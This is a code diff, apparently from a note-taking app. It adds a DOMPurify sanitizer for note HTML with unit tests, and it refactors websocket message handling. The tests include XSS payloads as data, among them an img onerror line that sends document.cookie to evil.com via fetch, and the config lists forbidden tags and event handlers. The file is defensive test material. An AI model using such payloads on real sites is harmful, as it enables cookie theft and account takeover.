});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -0,0 +1,115 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify, { type Config as DOMPurifyConfig } from "dompurify";
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*
* Uses DOMPurify's built-in security-researched profiles for HTML, SVG, and
* MathML rather than a hand-maintained tag allowlist. This ensures proper
* namespace handling (critical for SVG rendering in mermaid/canvas/mind-map
* notes and MathML in KaTeX equations) while staying current with DOMPurify's
* upstream security fixes.
*
* Defense-in-depth is provided via FORBID_TAGS / FORBID_ATTR which explicitly
* block known-dangerous elements and all event-handler attributes, regardless
* of what the profiles permit.
*/
const PURIFY_CONFIG: DOMPurifyConfig = {
// Enable DOMPurify's curated safe-element sets for HTML, SVG, and MathML.
// This replaces a manual ALLOWED_TAGS list and correctly handles namespace
// parsing (e.g. SVG elements must be in the SVG namespace to render).
USE_PROFILES: { html: true, svg: true, svgFilters: true, mathMl: true },
ALLOWED_URI_REGEXP,
// CKEditor data-* attributes not in the default set
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// CKEditor custom elements
ADD_TAGS: ["en-media"],
// ── Explicit deny-lists (defense-in-depth) ──
// Script execution vectors
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template",
// SVG elements that can execute scripts or embed arbitrary HTML
"foreignObject",
// SVG animation elements — can trigger event handlers via
// onbegin/onend/onrepeat attributes
"animate", "animateMotion", "animateTransform", "set"],
// All DOM event-handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel",
// SVG animation event handlers
"onbegin", "onend", "onrepeat"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
WHOLE_DOCUMENT: false
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -135,8 +135,6 @@ export function isElectron() {
return !!(window && window.process && window.process.type);
}
export const isStandalone = window.glob.isStandalone;
/**
* Returns `true` if the client is running as a PWA, otherwise `false`.
*/
@@ -149,14 +147,6 @@ export function isPWA() {
);
}
/**
* Returns `true` when running inside the native Capacitor mobile app wrapper.
* PWAs and regular browsers return `false`.
*/
export function isMobileApp() {
return !!window.Capacitor?.isNativePlatform?.();
}
export function isMac() {
return navigator.platform.indexOf("Mac") > -1;
}
@@ -370,8 +360,7 @@ function copySelectionToClipboard() {
type dynamicRequireMappings = {
"@electron/remote": typeof import("@electron/remote"),
"electron": typeof import("electron"),
"child_process": typeof import("child_process"),
"url": typeof import("url")
"child_process": typeof import("child_process")
};
export function dynamicRequire<T extends keyof dynamicRequireMappings>(moduleName: T): Awaited<dynamicRequireMappings[T]>{
@@ -825,7 +814,7 @@ function compareVersions(v1: string, v2: string): number {
/**
* Compares two semantic version strings and returns `true` if the latest version is greater than the current version.
*/
export function isUpdateAvailable(latestVersion: string | null | undefined, currentVersion: string): boolean {
function isUpdateAvailable(latestVersion: string | null | undefined, currentVersion: string): boolean {
if (!latestVersion) {
return false;
}
@@ -912,10 +901,6 @@ export function getErrorMessage(e: unknown) {
}
export function replaceHtmlEscapedSlashes(str: string) {
return str.replace(/&#x2F;/g, "/");
}
/**
* Handles left or right placement of e.g. tooltips in case of right-to-left languages. If the current language is a RTL one, then left and right are swapped. Other directions are unaffected.
* @param placement a string optionally containing a "left" or "right" value.

View File

@@ -8,16 +8,16 @@ import frocaUpdater from "./froca_updater.js";
import { t } from "./i18n.js";
import options from "./options.js";
import server from "./server.js";
import toastService from "./toast.js";
import toast from "./toast.js";
import utils from "./utils.js";
type MessageHandler = (message: WebSocketMessage) => void;
let messageHandlers: MessageHandler[] = [];
let ws: WebSocket;
let lastAcceptedEntityChangeId = window.glob.maxEntityChangeIdAtLoad ?? 0;
let lastAcceptedEntityChangeSyncId = window.glob.maxEntityChangeSyncIdAtLoad ?? 0;
let lastProcessedEntityChangeId = window.glob.maxEntityChangeIdAtLoad ?? 0;
let lastAcceptedEntityChangeId = window.glob.maxEntityChangeIdAtLoad;
let lastAcceptedEntityChangeSyncId = window.glob.maxEntityChangeSyncIdAtLoad;
let lastProcessedEntityChangeId = window.glob.maxEntityChangeIdAtLoad;
let lastPingTs: number;
let frontendUpdateDataQueue: EntityChange[] = [];
@@ -59,43 +59,6 @@ export function unsubscribeToMessage(messageHandler: MessageHandler) {
messageHandlers = messageHandlers.filter(handler => handler !== messageHandler);
}
/**
* Dispatch a message to all handlers and process it.
* This is the main entry point for incoming messages from any provider
* (WebSocket, Worker, etc.)
*/
export async function dispatchMessage(message: WebSocketMessage) {
// Notify all subscribers
for (const messageHandler of messageHandlers) {
messageHandler(message);
}
// Use string type for flexibility - server sends more message types than are typed
const messageType = message.type as string;
const msg = message as any;
// Process the message
if (messageType === "ping") {
lastPingTs = Date.now();
} else if (messageType === "reload-frontend") {
utils.reloadFrontendApp("received request from backend to reload frontend");
} else if (messageType === "frontend-update") {
await executeFrontendUpdate(msg.data.entityChanges);
} else if (messageType === "sync-hash-check-failed") {
toastService.showError(t("ws.sync-check-failed"), 60000);
} else if (messageType === "consistency-checks-failed") {
toastService.showError(t("ws.consistency-checks-failed"), 50 * 60000);
} else if (messageType === "api-log-messages") {
appContext.triggerEvent("apiLogMessages", { noteId: msg.noteId, messages: msg.messages });
} else if (messageType === "toast") {
toastService.showMessage(msg.message, msg.timeout);
} else if (messageType === "execute-script") {
const originEntity = msg.originEntityId ? await froca.getNote(msg.originEntityId) : null;
bundleService.getAndExecuteBundle(msg.currentNoteId, originEntity, msg.script, msg.params);
}
}
// used to serialize frontend update operations
let consumeQueuePromise: Promise<void> | null = null;
@@ -151,13 +114,32 @@ async function executeFrontendUpdate(entityChanges: EntityChange[]) {
}
}
/**
* WebSocket message handler - parses the event and dispatches to generic handler.
* This is only used in WebSocket mode (not standalone).
*/
async function handleWebSocketMessage(event: MessageEvent<string>) {
const message = JSON.parse(event.data) as WebSocketMessage;
await dispatchMessage(message);
async function handleMessage(event: MessageEvent<any>) {
const message = JSON.parse(event.data);
for (const messageHandler of messageHandlers) {
messageHandler(message);
}
if (message.type === "ping") {
lastPingTs = Date.now();
} else if (message.type === "reload-frontend") {
utils.reloadFrontendApp("received request from backend to reload frontend");
} else if (message.type === "frontend-update") {
await executeFrontendUpdate(message.data.entityChanges);
} else if (message.type === "sync-hash-check-failed") {
toast.showError(t("ws.sync-check-failed"), 60000);
} else if (message.type === "consistency-checks-failed") {
toast.showError(t("ws.consistency-checks-failed"), 50 * 60000);
} else if (message.type === "api-log-messages") {
appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
} else if (message.type === "toast") {
toast.showMessage(message.message, message.timeout);
} else if (message.type === "execute-script") {
const originEntity = message.originEntityId ? await froca.getNote(message.originEntityId) : null;
bundleService.getAndExecuteBundle(message.currentNoteId, originEntity, message.script, message.params);
}
}
let entityChangeIdReachedListeners: {
@@ -219,7 +201,7 @@ async function consumeFrontendUpdateData() {
} else {
console.log("nonProcessedEntityChanges causing the timeout", nonProcessedEntityChanges);
toastService.showError(t("ws.encountered-error", { message: e.message }));
toast.showError(t("ws.encountered-error", { message: e.message }));
}
}
@@ -242,21 +224,16 @@ function connectWebSocket() {
// use wss for secure messaging
const ws = new WebSocket(webSocketUri);
ws.onopen = () => console.debug(utils.now(), `Connected to server ${webSocketUri} with WebSocket`);
ws.onmessage = handleWebSocketMessage;
ws.onmessage = handleMessage;
// we're not handling ws.onclose here because reconnection is done in sendPing()
return ws;
}
async function sendPing() {
if (!ws) {
// In standalone mode, there's no WebSocket — nothing to ping.
return;
}
if (Date.now() - lastPingTs > 30000) {
console.warn(utils.now(), "Lost websocket connection to the backend");
toastService.showPersistent({
toast.showPersistent({
id: "lost-websocket-connection",
title: t("ws.lost-websocket-connection-title"),
message: t("ws.lost-websocket-connection-message"),
@@ -265,7 +242,7 @@ async function sendPing() {
}
if (ws.readyState === ws.OPEN) {
toastService.closePersistent("lost-websocket-connection");
toast.closePersistent("lost-websocket-connection");
ws.send(
JSON.stringify({
type: "ping",
@@ -281,18 +258,7 @@ async function sendPing() {
setTimeout(() => {
if (glob.device === "print") return;
if (!glob.dbInitialized) return;
if (glob.isStandalone) {
// In standalone mode, listen for messages from the local worker via custom event
window.addEventListener("trilium:ws-message", ((event: CustomEvent<WebSocketMessage>) => {
dispatchMessage(event.detail);
}) as EventListener);
console.debug(utils.now(), "Standalone mode: listening for worker messages");
return;
}
// Normal mode: use WebSocket
ws = connectWebSocket();
lastPingTs = Date.now();

Some files were not shown because too many files have changed in this diff Show More